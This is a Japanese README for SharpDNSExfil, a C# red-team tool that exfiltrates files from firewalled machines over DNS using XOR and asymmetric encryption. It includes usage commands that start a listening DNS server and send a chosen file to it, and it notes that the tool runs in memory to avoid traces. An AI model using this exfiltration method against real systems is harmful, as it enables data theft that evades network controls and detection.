
DNS経由でファイルを外部に持ち出すためのC#ツール。XORと非対称暗号化を使用し、制限されたアウトバウンド接続環境でのレッドチーム演習向けに設計されています。
SharpDNSExfilはC#で書かれた窃取ツールです。主な目的は、「ディスク上の」ファイルを、制限されたアウトバウンド接続を気にせずに窃取することです。
エンゲージメント中にBlind RCEを取得しましたが、リモートマシンにはファイアウォールが設定されており、アウトバウンド接続が許可されていなかったため、リバース接続を確立するのに苦労しました。幸いなことに、DNSサーバーはパブリックドメインを解決でき、DNS経由で私に到達できました。しかし、リバースシェルを取得することはできず、小さな出力を読むことはできましたが、それ以上のことはできませんでした。そこで、DNSのみを使用してプロセスを自動化し、すべての手順を再帰的に実行するアイデアを思いつき、ついに動作するようになりました!
注意事項: このプロセス全体はカスタムのパブリックDNSサーバーでのみテストされており、実際の企業環境では十分にテストされていません。自己責任で使用してください!
窃取されたすべてのバイトは、ランダムに生成されたキーでXORされます。キーはネットワークレベルで平文になると考えるかもしれません(Wiresharkで確認できます)。--encryptオプションを使用すると、非対称暗号化が適用され、ハードコードされた公開鍵がXORキーを暗号化します。ローカルマシン(あなた)は暗号化された形式のキーを受け取り、Pythonスクリプトがハードコードされた秘密鍵で自動的に復号します。残りの送信データはXORで元のバイトに戻されます。必ずキーペアを変更してください。
| 暗号化前 | 暗号化後 |
|---|---|
![]() | ![]() |
dnsserver.py PythonスクリプトでDNSサーバーをセットアップします。オプションは以下の通りです。python3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
SharpDNSExfilの手順とプロセスは、エンゲージメント中にゴミを残さないように、すべてメモリ上で実行され、ディスクに触れることはありません。SharpDNSExfilは、--verboseオプションを使用して、バックグラウンドで実行する各手順やプロセスを通知します。送信される各バイトはXORエンコードされ、キーはさらに非対称暗号化によって暗号化され、ネットワークトラフィック上でキーが平文になるのを防ぎます。特に注意して、常にメモを取り、クライアントの環境をクリーンアップしてください。